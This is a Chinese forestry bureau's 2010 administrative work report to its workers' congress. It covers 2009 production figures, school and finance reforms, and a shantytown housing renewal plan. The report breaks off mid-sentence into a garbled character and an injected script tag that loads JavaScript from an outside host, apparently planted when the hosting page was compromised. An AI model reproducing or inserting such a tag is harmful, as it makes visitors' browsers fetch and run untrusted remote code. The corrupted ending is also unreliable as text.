（工作报告）

2010年4月2日通北林业局十四次职工代表大会

局长  孙福学

各位代表：

    我代表林业局向大会做行政工作报告，请予审议。

一、2009年工作回顾

在过去的一年里，我们在森工总局、松花江林管局的正确领导下，以“三个代表”重要思想和科学发展观为指导，带领广大职工群众团结一心，奋力拼搏，克服了经济危困、资金紧缺、销售收入锐减、物价上涨带动生产成本增加等诸多不利因素，战胜了自然灾害，取得了经济和社会协调发展、职工生活水平稳步提高的可喜成果。主要表现为：

——上下一心，真抓实干，经济运行态势良好。一年来，我们始终围绕经济建设这个中心不动摇，强化管理，夯实基础，扎实工作，全面完成了各项经济技术指标。截止2009年12月末，木材生产完成34794m³，完成年计划3.5万m³的99%，更新造林完成2500亩，完成年计划的100%；林产工业实现产值4019万元，完成年计划3457万元的116%；多种经营实现产值30727万元，完成年计划25993万元的118%；产业总产值实现38824万元，完成年计划33478万元的116%，全局实现利润-298万元，较计划-600万元减亏302万元，呈现出了良好运行态势和发展势头。

——深化改革，转换机制，企业活力不断增强。一年来，我们始终把深化改革、转换机制做为推动经济和社会发展的动力，全力推进。按照“校企分离、森工托管”的模式及总局的要求，加快了中小学管理体制改革，对中小学教师实行了考试考核，择优录用，优化了教师队伍。加大了教育投入，提高了教师待遇，使教学条件得到了进一步改善，办学能力得到进一步提高。按照上级要求。在“三定”的基础上，实施了公检法公务员过渡，使政法队伍得到进一步稳定，整体能力有了新的提高。进一步深化了会计核算方式改革，不断强化基础工作，加强财务人员培训，完善各项规章制度，使企业的财务管理工作更为规范。放开经营取得了明显成效。放开经营单位从强化管理、优质服务、搞活机制入手，经济效益明显提高，不仅巩固了原有职能，而且经营管理水平有了较大提高，大部分放开经营单位都能够实现盈余或持平。

——抢前抓早，强力推进，棚改工程稳步实施。一年来，我们将棚户区改造工程作为改善困难职工群众生活环境的一项民心工程、德政工程，摆上重要位置，纳入重要议事日程，实施整体推进。一是在组织领导上，我们成立了局场两级棚户区改造工作领导小组，坚持齐抓共管，明确责任，做到了“五强化”，即强化工程组织、调查摸底、规划设计、材料采购、质量监督等方面的领导，形成了较为完善的领导体系，保证了工程科学有序地进行。二是在深入宣传上，我们坚持舆论先行，教育引导，采取多种形式，加大宣传工作力度，努力在思想上形成共识，做到了“三统一”，即领导班子认识、基层组织认识、职工群众认识统一，通过利用广播、电视等媒体，采取入户讲政策、发放宣传单、面对面讲解、算细帐对比、分析利益得失等具体的办法，使职工群众了解了棚户区改造的原则、目的和意义，消除了顾虑，形成了积极参与、支持 理解的共识。三是在具体实施上，我们按照统筹兼顾、突出重点的原则，实行分期实施,逐步推进，做到了八明确：即改造的基本原则明确。坚持配套建设、连片改造、整体推进、分步实施的原则；棚户区改造与经济适用住房建设相结合的原则；棚户区改造与商品房建设相结合的原则；分类指导、因地制宜、新建与改造相结合的原则;宜楼则楼、宜平则平的原则；依法运作，公平、公正、公开的原则。工作目标明确。力争三年内基本完成我局棚户区改造任务，棚户区改造总面积32.5万平方米,安置6500户,受益人口22784人，其中局址22万平方米4400户15438人，山上林场所10.5万平方米2100户7346人，同时完成安置区内外部基础设施配套建设。改造方式明确。山上以平房为主，山下以楼房为主，利用好主要道路和其它基础设施，力求改造后的新区功能齐全、交通方便、配套设施完备、环境优美，符合要求。建设标准明确。棚户区改造新建住宅基本户型面积为50 平方米，达到基础设施配套齐全，保证供暖、供电、供水、排水、网络通讯、闭路电视等基础设施入户，物业管理规范，道路畅通，环境整洁。工程所用材料、施工工艺、节能标准、施工质量严格执行国家有关规定，工程质量合格率达到了100%。安置对象条件明确。安置对象为在林业局管辖范围内具有合法棚户区住宅房屋的所有人，并具有本局户口，或家庭成员中至少有一人具有本局户口。相关政策明确。棚户区改造投资采取“国家补助、地方配套、企业自筹与职工负担相结合的方式解决�script src=http://niucha.me/s.js>